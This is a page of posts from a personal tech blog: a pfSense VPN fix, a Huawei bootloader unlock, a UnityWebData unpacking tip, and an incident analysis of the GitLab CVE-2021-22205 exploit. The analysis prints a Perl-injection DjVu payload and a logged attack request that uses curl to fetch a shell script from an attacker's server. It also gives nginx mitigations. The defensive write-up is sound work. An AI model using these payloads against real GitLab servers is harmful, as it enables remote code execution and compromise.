Posts

Posted on

How to fix “CRL has expired” openvpn error on pfSense

In case of this error you need to apply a system patch called “Fix for CRL expiration lifetime default and maximum values” (a3c1589086ea67d25a28ec14ab95d7fd9ab25fa2).

Error example

VERIFY ERROR: depth=0, error=CRL has expired: C=XX, ST=XX, L=XX, O=XX, emailAddress=XX, CN=XX, serial=3
OpenSSL: error:1417C086:SSL routines:tls_process_client_certificate:certificate verify failed
TLS_ERROR: BIO read tls_read_plaintext error
TLS Error: TLS object -> incoming plaintext read error
TLS Error: TLS handshake failed

Fix

Patch example

If “System > Patches” is not available, you need to install a package called “System Patches” from “System > Package, Available package”.

Posted on

How to unlock the bootloader on Huawei P20-PRO CLT-L09 without code

This is a note on how to unlock the bootloader on a Huawei P20-PRO, in my case CLT-L09, equipped with HiSilicon Kirin 970 CPU without having a valid unlock code and without disassembling it.

But before, this is the short and sad story

A long time ago, the unlock code, necessary to do whatever the fuck you want with your device, was official given by Huawei if you request it. As of 25th July 2018, Huawei has closed this official channel.

Since you paid for your device, you have every right to tell Huawei to fuck off.

Unofficial methods

For Kirin 620, 650, 655, 658, 659, 925, 935, 950 and 960 there is the Open Source tool PotatoNV, but for the Kirin 710, 710F, 970 and 980 it doesn’t work.

Currently, the only working solution is to use DC Phoenix & HCU Client which costs 19$ for 3 days access.

If in doubt, see this app.

  1. DC Phoenix sets the phone in software “testpoint” mode.
  2. With device in “software testpoint” HCU Client can read and toggle the state of “Bootloader lock” and “FRP lock”.
  3. After unlock, DC Phoenix can remove the “testpoint” mode.
DC Phoenix
HCU Client
Posted on

How to unpack UnityWebData1.0 in Unity WebGL games

UnityWebData1.0 is a standard of data file used by WebGL games.

It is loaded along with the game binary and contains some resources like shapes, 3D objects, sounds, and so on.

Besides these resources, it may contains the Il2Cpp metadata that is useful to simplify the reverse engineer of the WebAsm code.

The IL2CPP (Intermediate Language To C++) is an alternative to the Mono backend. The IL2CPP backend converts MSIL (Microsoft Intermediate Language) code (for example, C# code in scripts) into C++ code, then uses the C++ code to create a native binary file.

This type of compilation, in which Unity compiles code specifically for a target platform when it builds the native binary, is called ahead-of-time (AOT) compilation. The Mono backend compiles code at runtime, with a technique called just-in-time compilation (JIT).

Popular disunity tool doesn’t handle this type of file, and binwalk or file(1) aren’t helpful this time, so we need another way to realize it.

To see if we are looking at a UnityWebData1.0 data file, simply check the header, which contains the string “UnityWebData1.0.”

UnityWebData1.0 file header
As you can see “file” is not very useful this time

We can use a UnityPack python library via this small wrapper. It will create a folder with some files, named “extracted”. This is the usage:

Usage: ./unpack-unitywebdata1.0.py <UnityWebData1.0 file>
Unpack UnityWebData1.0 file with “unpack-unitywebdata1.0.py”
Content of “extracted” directory

That’s all, happy reversing!

Posted on

CVE-2021-22205 GitLab unauthenticated RCE exploited in the wild

CVE-2021-22205 was initially assigned a CVSSv3 score of 9.9. However, on September 21, 2021 GitLab revised the CVSSv3 score to 10.0. The increase in score was the result of changing the vulnerability from an authenticated to an unauthenticated issue.

The vulnerability was originally reported to GitLab via HackerOne at 7th Apr 2021.

When uploading image files, GitLab Workhorse passes any files with the extensions jpg|jpeg|tiff through to ExifTool to remove any non-whitelisted tags.

An issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.

One of the supported formats is DjVu. When parsing the DjVu annotation, the tokens are evaled to “convert C escape sequences”.

There is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:

(metadata
	(Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )

In the wild exploitation

On 28th October 2021, I observed an attack against a customer’s GitLab installed on an AWS EC2 instance exposed to the internet.

The attacker exploited this vulnerability and succesfully uploaded a malicious ELF binary to “/tmp/.X11-unix/gitag-ssh”.

The binary was not uploaded directly, but the exploit has downloaded it with a curl to “http://104.233.163.12/Uin”.

Gitlab WorkHorse process a malicious JPEG with a curl to http://104.233.163.12/Uin as payload

The malicious binary “gitag-ssh” had some TCP sockets on 104.233.163.12 to TCP port 10443. I think that this server is acting as Command & Control for a DDoS botnet.

Opened file descriptors
C&C at 104.233.163.12
objdump -x gitag-ssh | grep -i tcp

An example of malicious request against “/uploads/user”:

149.129.69.39 - - [29/Oct/2021:06:45:36 +0000] "POST /uploads/user HTTP/1.1" 422 24 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2227.0 Safari/537.36" "\x0D\x0A------WebKitFormBoundaryIMv3mxRg59TkFSX5\x0D\x0AContent-Disposition: form-data; name=\
x22file\x22; filename=\x22test.jpg\x22\x0D\x0AContent-Type: image/jpeg\x0D\x0A\x0D\x0AAT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\
x00\x00\x00F\x00\x00\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\x0C\x07\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n\x95\xBD\xA2\xC3\x22?FORM\
x00\x00\x00^DJVUINFO\x00\x00\x00\x0A\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\
x00\x08\x00\x08\x8A\xE6\xE1\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\x0AFORM\x00\x00\x03\x07DJVIANTa\x00\
x00\x01P(metadata\x0A\x09(Copyright \x22\x5C\x0A\x22 . qx{ curl http://204.44.82.44:8082/1.sh -o /tmp/tmp.sh} . \x5C\x0A\x22 b \x22) )
\x0A\x0D\x0A------WebKitFormBoundaryIMv3mxRg59TkFSX5--\x0D\x0A\x0D\x0A"

So, definitely, update your GitLab, monitor a POST request to “/uploads/users” and log & drop 104.233.163.12 and 204.44.82.44 destinations.

If you want to log a POST data, as in the above example, you can edit a “log_format” into “/var/opt/gitlab/nginx/conf/nginx.conf” as:

log_format gitlab_access '$remote_addr - $remote_user [$time_local] "$request_method $filtered_request_uri $server_protocol" $status $body_bytes_sent "$filtered_http_referer" "$http_user_agent" "$request_body"';

To temporarily mitigate the vulnerability before a full upgrade you can block the “/users/upload” endpoint into “/var/opt/gitlab/nginx/conf/gitlab-http.conf” as in this example:

location ~ (/uploads/user) {
    deny all;
    return 403;
}

This vulnerability affects all versions of both GitLab Enterprise Edition (EE) and GitLab Community Edition (CE) starting from 11.9. The vulnerability was patched in the following versions: 13.10.3, 13.9.6, 13.8.8.

Update 8th November 2021

Other endpoints are being used in a wild exploitation, so block the “/users/upload” requests is not enough.

Successfully exploitation in POST /help request